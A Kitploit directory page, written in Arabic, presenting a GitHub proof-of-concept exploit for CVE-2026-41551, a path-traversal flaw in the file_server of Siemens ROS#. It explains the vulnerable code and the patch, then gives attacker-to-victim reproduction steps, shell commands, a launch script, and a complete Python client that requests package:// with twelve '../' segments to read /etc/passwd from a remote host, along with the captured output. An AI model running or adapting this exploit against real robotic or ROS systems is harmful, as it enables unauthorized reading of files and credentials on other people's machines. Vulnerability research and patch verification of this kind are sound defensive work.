Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-41551 — إثبات مفهوم لاستغلال CVE-2026-41551، وهي ثغرة اجتياز المسار في خادم الملفات ROS# من سيمنز، توضح قراءة الملفات عن بُعد عبر طلبات package:// مصممة خصيصًا. | Kitploit
أدوات/GitHubGitHub/selecthch/cve-2026-41551
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراق
GitHubselecthch/cve-2026-41551

CVE-2026-41551

إثبات مفهوم لاستغلال CVE-2026-41551، وهي ثغرة اجتياز المسار في خادم الملفات ROS# من سيمنز، توضح قراءة الملفات عن بُعد عبر طلبات package:// مصممة خصيصًا.

عرض المستودع
114منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إعادة إنتاج CVE-2026-41551

الثغرة: تجاوز المسار النسبي في خدمتي file_server / file_server2 في Siemens ROS# CVSS v3.1: 9.1 (AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:N) الإصدارات المتأثرة: ros-sharp جميع الإصدارات < V2.2.2؛ الإصدار المُصلَح: V2.2.2 (أُضيف validate_path) الخلاصة: يمكن استغلال هذه الثغرة عبر المضيفين، وليس فقط محليًا. فيما يلي خطوات إعادة الإنتاج عن بُعد من «المهاجم 153 → الضحية 152».


0. مبدأ الثغرة (ros-sharp 2.2.1, file_server.cpp)

get_file_callback يلصق مسار الطلب مباشرةً بدليل مشاركة الحزمة دون التحقق من التجاوز:

std::string address   = request->name.substr(10);          // إزالة "package://"
std::string package   = address.substr(0, address.find("/"));
std::string filepath  = address.substr(package.length());
std::string directory = ament_index_cpp::get_package_share_directory(package);
directory += filepath;                                    // قابل للتحكم من المستخدم، يتضمن "../"
std::ifstream inputfile(directory.c_str(), std::ios::binary);  // تجاوز لقراءة أي ملف

طلب PoC package://file_server2/<../×12>etc/passwd، يخرج من دليل مشاركة الحزمة إلى الجذر ثم يقرأ ملفات المضيف الضحية.

الكود المُصلَح (ros-sharp 2.2.2)

أُضيف validate_path: أولًا فحص تجاوز المسار، ثم قائمة بيضاء للامتدادات، وأخيرًا استخدام std::filesystem::canonical للتأكد من عدم الخروج من دليل الحزمة؛ save_file معطّل افتراضيًا.

bool has_traversal(const std::string& path) {           // منع ".." و "."
  for (const auto& part : std::filesystem::path(path))
    if (part == ".." || part == ".") return true;
  return false;
}
bool is_path_safe(const std::string& base_dir, const std::string& full_path) {
  auto base   = std::filesystem::canonical(base_dir);
  auto target = std::filesystem::weakly_canonical(full_path);
  auto [end, _] = std::mismatch(base.begin(), base.end(), target.begin());
  return end == base.end();                            // يجب أن يبقى داخل دليل الحزمة
}
bool validate_path(...) {
  if (has_traversal(filepath))   { warn("Path traversal attempt blocked"); return false; }

1. معلومات البيئة

الدورعنوان IP للمضيفالنظامROSالوصف
الضحية192.168.171.152Ubuntu 22.04Humbleيشغّل عقدة file_server، الملف المقروء موجود على هذا الجهاز
المهاجم192.168.171.153Ubuntu 22.04Humbleعلى نفس الشبكة الفرعية، يرسل استدعاء PoC لخدمة الضحية

طوبولوجيا الشبكة (نفس ROS_DOMAIN_ID، اكتشاف DDS عبر المضيفين):

المهاجم 192.168.171.153                        الضحية 192.168.171.152
+---------------------------+                +---------------------------+
| ros2_humble + client      |  (1) get_file  | عقدة file_server          |
| python3 poc.py            | -------------> | /file_server/get_file     |
|                           |                | قراءة /etc/passwd محليًا  |
|                           | <-------------  | (2) إرجاع محتوى الملف 2930 بايت|
+---------------------------+                +---------------------------+
             ROS2 DDS (UDP 7400-7500 / بث جماعي 239.255.0.x), ROS_DOMAIN_ID=0

2. المتطلبات المسبقة (مستوفاة افتراضيًا بعد إعادة التشغيل)

  • تم تثبيت ROS2 Humble (/opt/ros/humble) و colcon على كلا المضيفين.
  • حزمة الكود الثغري موجودة في ~/ros2_ws/src/file_server2 (ros-sharp 2.2.1، إجمالي 13 ملفًا).
  • مهم: عند تشغيل عقدة الضحية، لا تقم بتعيين ROS_LOCALHOST_ONLY=1، وإلا سيكون الوصول عبر الحلقة المحلية فقط ولن يمكن إعادة الإنتاج عن بُعد.

3. خطوات إعادة الإنتاج

3.1 جهة الضحية (192.168.171.152): تجميع وتشغيل العقدة، الاستماع على الشبكة

source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# تجميع الحزمة الثغرية (يمكن تخطيه إذا كانت مُجمّعة، إعادة التجميع غير ضارة)
colcon build --packages-select file_server2

# تشغيل العقدة (آمن بعد إعادة التشغيل: تنظيف العمليات القديمة أولًا ثم التشغيل)
# محتوى ~/start_fs.sh في الملحق أ
bash ~/start_fs.sh
sleep 2

ros2 node list            # يجب رؤية /file_server على هذا الجهاز

3.2 جهة المهاجم (192.168.171.153): تجميع حزمة client للحصول على نوع srv

source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# نحتاج أيضًا إلى حزمة file_server2 لاستيراد نوع GetBinaryFile في العميل
colcon build --packages-select file_server2

3.3 جهة المهاجم: اكتشاف خدمة الضحية عبر المضيفين

source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
sleep 2

ros2 node list                 # يجب اكتشاف /file_server عبر المضيفين (على 152)
ros2 service list | grep file_server
# يجب رؤية: /file_server/get_file

3.4 جهة المهاجم: تشغيل PoC لقراءة /etc/passwd على الضحية عن بُعد

python3 ~/poc.py

4. نتيجة إعادة الإنتاج

[*] Requesting: package://file_server2/../../../../../../../../../../../../etc/passwd
[*] Returned 2930 bytes
----- /etc/passwd (begin) -----
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
----- end -----

نجح المهاجم على 153 في قراءة /etc/passwd من جهاز الضحية 152.


الملحق أ: ~/start_fs.sh

#!/bin/bash
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# اسم العملية يُقتطع بواسطة النواة إلى file_server2_no، تنظيف دقيق للنسخ القديمة حسب سطر الأوامر
MYSELF=$$
for p in $(ps -eo pid,args | grep "file_server2_node" | grep -v grep | awk '{print $1}'); do
  [ "$p" != "$MYSELF" ] && kill -9 "$p" 2>/dev/null
done
sleep 1
# مهم: لا تقم بتعيين ROS_LOCALHOST_ONLY، وإلا سيكون الوصول عبر الحلقة المحلية فقط
setsid bash -c "ros2 run file_server2 file_server2_node > ~/file_server.log 2>&1" >/dev/null 2>&1 </dev/null &
disown
sleep 2
echo "node started: $(pgrep -af file_server2_node | head -1)"

الملحق ب: ~/poc.py

import rclpy
from rclpy.node import Node
from file_server2.srv import GetBinaryFile

class Client(Node):
    def __init__(self):
        super().__init__('poc_client')
        self.cli = self.create_client(GetBinaryFile, '/file_server/get_file')
        while not self.cli.wait_for_service(timeout_sec=5.0):
            self.get_logger().info('waiting for service...')

    def call(self, name):
        req = GetBinaryFile.Request()
        req.name = name
        fut = self.cli.call_async(req)
        rclpy.spin_until_future_complete(self, fut)
        return fut.result()

def main():
    rclpy.init()
    c = Client()
    # 12 من "../" كافية للخروج من دليل مشاركة الحزمة إلى الجذر ثم الوصول إلى etc/passwd
    target = "package://file_server2/" + ("../" * 12) + "etc/passwd"
    print(f"[*] Requesting: {target}")
    res = c.call(target)
    data = bytes(res.value) if res is not None else b''
    print(f"[*] Returned {len(data)} bytes")
    print("----- /etc/passwd (begin) -----")
    print(data[:400].decode(errors='replace'))
    print("----- end -----")
    c.destroy_node()
    rclpy.shutdown()

if __name__ == '__main__':
    main()

المراجع

  • Siemens Security Advisory SSA-357982 (تجاوز الدليل في ROS# file_server)
  • NVD CVE-2026-41551
  • ros-sharp GitHub Releases: V2.2.1 (متأثر) / V2.2.2 (مُصلَح)
  • CWE-23: Relative Path Traversal؛ وثائق ROS 2: ROS_DOMAIN_ID / ROS_LOCALHOST_ONLY / DDS discovery
تنزيل الأداة